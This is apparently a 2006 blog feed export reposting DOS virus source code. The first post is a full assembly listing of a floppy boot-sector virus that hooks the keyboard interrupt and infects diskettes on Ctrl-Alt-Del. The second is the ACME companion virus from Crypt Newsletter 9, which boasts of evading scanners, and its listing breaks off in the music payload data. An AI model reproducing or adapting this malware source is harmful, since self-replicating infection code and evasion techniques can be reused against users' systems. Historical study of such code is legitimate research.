virus script&lt;br /&gt;; This virus is of the "FLOPPY ONLY" variety.                           ;&lt;br /&gt;; It replicates to the boot sector of a floppy disk and when it gains control &lt;br /&gt;; it will move itself to upper memory.  It redirects the keyboard       ;&lt;br /&gt;; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;&lt;br /&gt;; it will attempt to infect any floppy it finds in drive A:.            ;&lt;br /&gt;; It keeps the real boot sector at track 39, sector 8, head 0           ;&lt;br /&gt;; It does not map this sector bad in the fat (unlike the Pakistani Brain)&lt;br /&gt;; and should that area be used by a file, the virus                     ;&lt;br /&gt;; will die.  It also contains no anti detection mechanisms as does the  ;&lt;br /&gt;; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;&lt;br /&gt;; sector 9 because this is common to all floppy formats both single     ;&lt;br /&gt;; sided and double sided.  It does not contain any malevolent TROJAN    ;&lt;br /&gt;; HORSE code.  It does appear to contain a count of how many times it   ;&lt;br /&gt;; has infected other diskettes although this is harmless and the count  ;&lt;br /&gt;; is never accessed.                                                    ;&lt;br /&gt;;                                                                       ;&lt;br /&gt;; Things to note about this virus:                                      ;&lt;br /&gt;; It can not only live through an ALT-CTRL-DEL reboot command, but this ;&lt;br /&gt;; is its primary (only for that matter) means of reproduction to other  ;&lt;br /&gt;; floppy diskettes.  The only way to remove it from an infected system  ;&lt;br /&gt;; is to turn the machine off and reboot an uninfected copy of DOS.      ;&lt;br /&gt;; It is even resident when no floppy is booted but BASIC is loaded      ;&lt;br /&gt;; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;&lt;br /&gt;; it activates and infectes the floppy from which the user is           ;&lt;br /&gt;; attempting to boot.                                                   ;&lt;br /&gt;;                                                                       ;&lt;br /&gt;; Also note that because of the POP CS command to pass control to       ;&lt;br /&gt;; its self in upper memory, this virus does not to work on 80286        ;&lt;br /&gt;; machines (because this is not a valid 80286 instruction).             ;&lt;br /&gt;;                                                                       ;&lt;br /&gt;; The Norton Utilities can be used to identify infected diskettes by    ;&lt;br /&gt;; looking at the boot sector and the DOS SYS utility can be used to     ;&lt;br /&gt;; remove it (unlike the Pakistani Brain).                               ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;                        ;&lt;br /&gt;    ORG  7C00H               ;&lt;br /&gt;                        ;&lt;br /&gt;TOS LABEL     WORD           ;TOP OF STACK&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; 1. Find top of memory and copy ourself up there. (keeping same offset);&lt;br /&gt;; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;&lt;br /&gt;; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;&lt;br /&gt;; 4. Jump to ourself at top of memory                                   ;&lt;br /&gt;; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;BEGIN:   CLI                 ;INITIALIZE STACK&lt;br /&gt;    XOR  AX,AX               ;&lt;br /&gt;    MOV  SS,AX               ;&lt;br /&gt;    MOV  SP,offset TOS       ;&lt;br /&gt;    STI                 ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)&lt;br /&gt;    MOV  DS,BX               ;&lt;br /&gt;    MOV  AX,[0013H]          ;&lt;br /&gt;    MUL  BX             ;&lt;br /&gt;    SUB  AX,07E0H       ;   (7C00H+512)/16&lt;br /&gt;    MOV  ES,AX               ;&lt;br /&gt;                        ;&lt;br /&gt;    PUSH CS             ;DS = CS&lt;br /&gt;    POP  DS             ;&lt;br /&gt;                        ;&lt;br /&gt;    CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...&lt;br /&gt;    JNE  B_10           ;&lt;br /&gt;    DEC  Word Ptr [COUNTER_1]     ;...LOW&amp;HI:COUNTER_1--&lt;br /&gt;                        ;&lt;br /&gt;B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY&lt;br /&gt;    MOV  DI,SI               ;&lt;br /&gt;    MOV  CX,512              ;&lt;br /&gt;    CLD                 ;&lt;br /&gt;    REP  MOVSB               ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO&lt;br /&gt;    MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE&lt;br /&gt;    MOV  CX,128              ;&lt;br /&gt;    REP  MOVSB               ;&lt;br /&gt;                        ;&lt;br /&gt;    CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)&lt;br /&gt;                        ;&lt;br /&gt;    PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH&lt;br /&gt;    NOP&lt;br /&gt;                        ;&lt;br /&gt;    PUSH DS   ;DS=0     ;   ES = DS&lt;br /&gt;    POP  ES             ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00&lt;br /&gt;    MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0&lt;br /&gt;    MOV  CX,2708H       ;   TRACK 40, SECTOR 8&lt;br /&gt;    MOV  AX,0201H       ;   READ SECTOR&lt;br /&gt;    INT  13H            ;   (common to 8/9 sect. 1/2 sided!)&lt;br /&gt;    JB   $              ;   HANG IF ERROR&lt;br /&gt;                        ;&lt;br /&gt;    JMP  JMP_BOOT       ;JMP 0000:7C00&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; SAVE THEN REDIRECT INT 9 VECTOR                                       ;&lt;br /&gt;;                                                                       ;&lt;br /&gt;; ON ENTRY:   DS = 0                                                    ;&lt;br /&gt;;        ES = WHERE TO SAVE OLD_09 &amp; (HI)                               ;&lt;br /&gt;;             WHERE NEW_09 IS         (HI)                              ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;PUT_NEW_09:                  ;&lt;br /&gt;    DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024&lt;br /&gt;                        ;&lt;br /&gt;    MOV  SI,9*4              ;COPY INT 9 VECTOR TO&lt;br /&gt;    MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)&lt;br /&gt;    MOV  CX,0004             ;&lt;br /&gt;                        ;&lt;br /&gt;    CLI                 ;&lt;br /&gt;    REP  MOVSB               ;&lt;br /&gt;    MOV  Word Ptr [9*4],offset NEW_09&lt;br /&gt;    MOV  [(9*4)+2],ES        ;&lt;br /&gt;    STI                 ;&lt;br /&gt;                        ;&lt;br /&gt;    RET                 ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;ACK_KEYBD:                   ;&lt;br /&gt;    IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE&lt;br /&gt;    MOV  AH,AL               ;&lt;br /&gt;    OR   AL,80H              ;&lt;br /&gt;    OUT  61H,AL              ;&lt;br /&gt;    XCHG AL,AH               ;&lt;br /&gt;    OUT  61H,AL              ;&lt;br /&gt;    JMP  RBOOT               ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;&lt;br /&gt;; REASON UNKNOWN                                                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39&lt;br /&gt;    DB   27H,0,2,2      ;   (CURRENTLY NOT USED)&lt;br /&gt;    DB   27H,0,3,2      ;&lt;br /&gt;    DB   27H,0,4,2      ;&lt;br /&gt;    DB   27H,0,5,2      ;&lt;br /&gt;    DB   27H,0,6,2      ;&lt;br /&gt;    DB   27H,0,7,2      ;&lt;br /&gt;    DB   27H,0,8,2      ;&lt;br /&gt;                        ;&lt;br /&gt;;A7C9A   LABEL     BYTE           ;&lt;br /&gt;    DW   00024H              ;NOT USED&lt;br /&gt;    DB   0ADH           ;&lt;br /&gt;    DB   07CH           ;&lt;br /&gt;    DB   0A3H           ;&lt;br /&gt;    DW   00026H              ;&lt;br /&gt;                        ;&lt;br /&gt;;L7CA1:                      ;&lt;br /&gt;    POP  CX             ;NOT USED&lt;br /&gt;    POP  DI             ;&lt;br /&gt;    POP  SI             ;&lt;br /&gt;    POP  ES             ;&lt;br /&gt;    POP  DS             ;&lt;br /&gt;    POP  AX             ;&lt;br /&gt;    POPF                ;&lt;br /&gt;    JMP  1111:1111      ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; IF ALT &amp; CTRL &amp;amp; DEL THEN ...                                          ;&lt;br /&gt;; IF ALT &amp; CTRL &amp;amp; ? THEN ...                                            ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;NEW_09:  PUSHF                    ;&lt;br /&gt;    STI                 ;&lt;br /&gt;                        ;&lt;br /&gt;    PUSH AX             ;&lt;br /&gt;    PUSH BX             ;&lt;br /&gt;    PUSH DS             ;&lt;br /&gt;                        ;&lt;br /&gt;    PUSH CS             ;DS=CS&lt;br /&gt;    POP  DS             ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  BX,[ALT_CTRL W]     ;BX=SCAN CODE LAST TIME&lt;br /&gt;    IN   AL,60H              ;GET SCAN CODE&lt;br /&gt;    MOV  AH,AL               ;SAVE IN AH&lt;br /&gt;    AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH&lt;br /&gt;                        ;&lt;br /&gt;    CMP  AL,1DH              ;IS IT A [CTRL]...&lt;br /&gt;    JNE  N09_10              ;...JUMP IF NO&lt;br /&gt;    MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)&lt;br /&gt;    JMP  N09_30              ;&lt;br /&gt;                        ;&lt;br /&gt;N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...&lt;br /&gt;    JNE  N09_20              ;...JUMP IF NO&lt;br /&gt;    MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)&lt;br /&gt;    JMP  N09_30              ;&lt;br /&gt;                        ;&lt;br /&gt;N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN &amp; ALT DOWN)...&lt;br /&gt;    JNE  N09_30              ;...JUMP IF NO&lt;br /&gt;                        ;&lt;br /&gt;    CMP  AL,17H              ;IF [I]...&lt;br /&gt;    JE   N09_X0              ;...JUMP IF YES&lt;br /&gt;    CMP  AL,53H              ;IF [DEL]...&lt;br /&gt;    JE   ACK_KEYBD      ;...JUMP IF YES&lt;br /&gt;                        ;&lt;br /&gt;N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME&lt;br /&gt;                        ;&lt;br /&gt;N09_90:  POP  DS             ;&lt;br /&gt;    POP  BX             ;&lt;br /&gt;    POP  AX             ;&lt;br /&gt;    POPF                ;&lt;br /&gt;                        ;&lt;br /&gt;    DB   0EAH           ;JMP F000:E987&lt;br /&gt;OLD_09   DW   ?              ;&lt;br /&gt;    DW   0F000H              ;&lt;br /&gt;                        ;&lt;br /&gt;N09_X0:  JMP  N09_X1              ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;;                                                                       ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?&lt;br /&gt;    MOV  AX,0800H       ;AL=0, AH=DELAY ARG&lt;br /&gt;    OUT  DX,AL               ;&lt;br /&gt;    CALL DELAY               ;&lt;br /&gt;    MOV  [ALT_CTRL],AX  ;AX=0     ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR&lt;br /&gt;    INT  10H            ;&lt;br /&gt;    MOV  AH,2           ;SET CURSOR POS 0,0&lt;br /&gt;    XOR  DX,DX               ;&lt;br /&gt;    MOV  BH,DH               ;   PAGE 0&lt;br /&gt;    INT  10H            ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  AH,1           ;SET CURSOR TYPE&lt;br /&gt;    MOV  CX,0607H       ;&lt;br /&gt;    INT  10H            ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)&lt;br /&gt;    CALL DELAY               ;&lt;br /&gt;                        ;&lt;br /&gt;    CLI                 ;&lt;br /&gt;    OUT  20H,AL              ;SEND EOI TO INT CONTROLLER&lt;br /&gt;                        ;&lt;br /&gt;    MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS&lt;br /&gt;    MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)&lt;br /&gt;    MOV  SI,offset BEGIN - 128    ;&lt;br /&gt;    MOV  CX,128              ;&lt;br /&gt;    CLD                 ;&lt;br /&gt;    REP  MOVSB               ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  DS,CX     ;CX=0          ;DS=0&lt;br /&gt;                        ;&lt;br /&gt;    MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR&lt;br /&gt;    MOV  [(19H*4)+2],CS      ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  AX,0040H       ;DS = ROM DATA AREA&lt;br /&gt;    MOV  DS,AX               ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0&lt;br /&gt;    INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)&lt;br /&gt;                        ;&lt;br /&gt;    PUSH DS             ;IF BIOS F000:E502 == 21E4...&lt;br /&gt;    MOV  AX,0F000H      ;&lt;br /&gt;    MOV  DS,AX               ;&lt;br /&gt;    CMP  Word Ptr [0E502H],21E4H  ;&lt;br /&gt;    POP  DS             ;&lt;br /&gt;    JE   R_90           ;&lt;br /&gt;    INT  19H            ;   IF NOT...REBOOT&lt;br /&gt;                        ;&lt;br /&gt;R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; REBOOT INT VECTOR                                                     ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;NEW_19:  XOR  AX,AX               ;&lt;br /&gt;                        ;&lt;br /&gt;    MOV  DS,AX               ;DS=0&lt;br /&gt;    MOV  AX,[0410]      ;AX=EQUIP FLAG&lt;br /&gt;    TEST AL,1           ;IF FLOPPY DRIVES ...&lt;br /&gt;    JNZ  N19_20              ;...JUMP&lt;br /&gt;N19_10:  PUSH CS             ;ELSE ES=CS&lt;br /&gt;    POP  ES             ;&lt;br /&gt;    CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)&lt;br /&gt;    INT  18H            ;LOAD BASIC&lt;br /&gt;                        ;&lt;br /&gt;N19_20:  MOV  CX,0004             ;RETRY COUNT = 4&lt;br /&gt;                        ;&lt;br /&gt;N19_22:  PUSH CX             ;&lt;br /&gt;    MOV  AH,00               ;RESET DISK&lt;br /&gt;    INT  13             ;&lt;br /&gt;    JB   N19_81              ;&lt;br /&gt;    MOV  AX,0201             ;READ BOOT SECTOR&lt;br /&gt;    PUSH DS             ;&lt;br /&gt;    POP  ES             ;&lt;br /&gt;    MOV  BX,offset BEGIN          ;&lt;br /&gt;    MOV  CX,1           ;TRACK 0, SECTOR 1&lt;br /&gt;    INT  13H            ;&lt;br /&gt;N19_81:  POP  CX             ;&lt;br /&gt;    JNB  N19_90              ;&lt;br /&gt;    LOOP N19_22              ;&lt;br /&gt;    JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; Reinfection segment.                                                  ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...&lt;br /&gt;    JNZ  RE_INFECT      ;...RE INFECT&lt;br /&gt;                        ;&lt;br /&gt;JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR&lt;br /&gt;    JMP  0000:7C00H          ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; Reinfection Segment.                                                  ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;RE_INFECT:                   ;&lt;br /&gt;    MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH&lt;br /&gt;    MOV  CX,00E6H       ;   OURSELF&lt;br /&gt;    MOV  DI,SI               ;&lt;br /&gt;    PUSH CS             ;&lt;br /&gt;    POP  ES             ;&lt;br /&gt;    CLD                 ;&lt;br /&gt;    REPE CMPSB               ;&lt;br /&gt;    JE   RI_12               ;IF NOT EQUAL...&lt;br /&gt;                        ;&lt;br /&gt;    INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)&lt;br /&gt;                        ;&lt;br /&gt;;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;&lt;br /&gt;    MOV  BX,offset TABLE          ;FORMAT INFO&lt;br /&gt;    MOV  DX,0000             ;DRIVE A: HEAD 0&lt;br /&gt;    MOV  CH,40-1             ;TRACK 39&lt;br /&gt;    MOV  AH,5           ;FORMAT&lt;br /&gt;    JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !&lt;br /&gt;                        ;&lt;br /&gt;; &lt;&lt;&lt;&gt;&gt;&gt;    ;&lt;br /&gt;    JB   RI_80               ;&lt;br /&gt;                        ;&lt;br /&gt;;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0&lt;br /&gt;RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0&lt;br /&gt;    MOV  BX,offset BEGIN          ;TRACK 40H&lt;br /&gt;    MOV  CL,8           ;SECTOR 8&lt;br /&gt;    MOV  AX,0301H       ;WRITE 1 SECTOR&lt;br /&gt;    INT  13H            ;&lt;br /&gt;                        ;&lt;br /&gt;    PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)&lt;br /&gt;    POP  ES             ;&lt;br /&gt;    JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE&lt;br /&gt;                        ;&lt;br /&gt;    MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !&lt;br /&gt;    MOV  AX,0301             ;&lt;br /&gt;    INT  13H            ;&lt;br /&gt;    JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE&lt;br /&gt;                        ;&lt;br /&gt;RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...&lt;br /&gt;    INT  19H            ;...FLAG AND REBOOT&lt;br /&gt;                        ;&lt;br /&gt;RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)&lt;br /&gt;    DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)&lt;br /&gt;    JMP  JMP_BOOT       ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;;                                                                       ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT &amp; CTRL STATUS&lt;br /&gt;                        ;&lt;br /&gt;    MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG&lt;br /&gt;    MOV  BX,0040H       ;&lt;br /&gt;    MOV  DS,BX               ;&lt;br /&gt;    MOV  [0072H],AX          ;   0040:0072 = RESET FLAG&lt;br /&gt;    JMP  N09_90              ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;; DELAY                                                                 ;&lt;br /&gt;;                                                                       ;&lt;br /&gt;; ON ENTRY    AH:CX = LOOP COUNT                                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;DELAY:   SUB  CX,CX               ;&lt;br /&gt;D_01:    LOOP $              ;&lt;br /&gt;    SUB  AH,1           ;&lt;br /&gt;    JNZ  D_01           ;&lt;br /&gt;    RET                 ;&lt;br /&gt;                        ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;;                                                                       ;&lt;br /&gt;;-----------------------------------------------------------------------;&lt;br /&gt;A7DF4         DB   27H,00H,8,2&lt;br /&gt;&lt;br /&gt;COUNTER_1     DW   001CH&lt;br /&gt;ALT_CTRL      DW   0&lt;br /&gt;A7DFC         DB   27H,0,8,2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856538989789667?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856538989789667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856538989789667&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856538989789667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856538989789667'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/almeda-asm-virus-script.html' title='almeda asm virus script'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856520208568516</id><published>2006-09-18T14:38:00.000+07:00</published><updated>2006-09-18T14:40:02.190+07:00</updated><title type='text'>acme virus asm</title><content type='html'>&lt;span style="font-family:times new roman;"&gt;; ACME COMPANION VIRUS for Crypt Newsletter 9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; ACME is a fast and simple companion virus which will create a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; spawned copy of itself for EVERY .EXE file it can find in the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; current directory. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; ACME is ready to assemble using A86. If you recall, an earlier Crypt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; letter included an A86-only source listing. (Strict TASM/MASM compatible &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; assemblers will need the manual addition of a couple simple declarative &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; statements.) I included ACME in this form so fans of Isaacson's &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; technique can gloat about the code not requiring "red tape." ;-]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; A86 will assemble ACME directly to a .COMfile virus, no linker&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; necessary.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; ACME currently eludes all scanners and as a companion virus, openly&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; defies every integrity checker I have in my inventory with the EXCEPTION&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; of Stiller Research's.  This issue includes a quality report on&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; Solomon's Toolkit, so it's only fair to state that while the documentation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; for this product seems to indicate that the developers know what a &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; companion infection is, the software does nothing to protect against&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; it in default mode. ACME flies through the Toolkit, for now. Go figure.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; ACME will also play a generic ACME-style virus tune late in the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; afternoon. Those who fancy a musical virus but have never heard one are&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; encouraged to play with ACME. Set your system clock to anytime after&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; 4:00 pm. The musical payload takes up most of the space in this virus,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; removing it shaves the virus to 242 bytes - nice and small if you like.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; The virus purist may recognize the root of ACME as a piece of code known&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; as ZENO - a small, single-step companion infector. ZENO's author is&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; thanked, wherever he/she is.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;START:          &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        jmp  VIR_BEGIN    ; get going&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;WILDCARD        DB  "*.EXE",0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;FILE_EXT        DB  "COM",0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;FILE_FOUND      DB  12 DUP(' '), 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;FILE_CREATE     DB  12 DUP(' '), 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;SEARCH_ATTRIB   DW  17H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;NUM_INFECT      DW  0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;MUZIK           DW      4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 5119,0006, 5423,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0020, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7239,0006, 3619,0006, 4831,0006, 6087,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0006, 4063,0006, 3043,0006, 5119,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4831,0006, 6087,0006, 7239,0006, 8126,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0020, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 5119,0006, 5423,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0020, 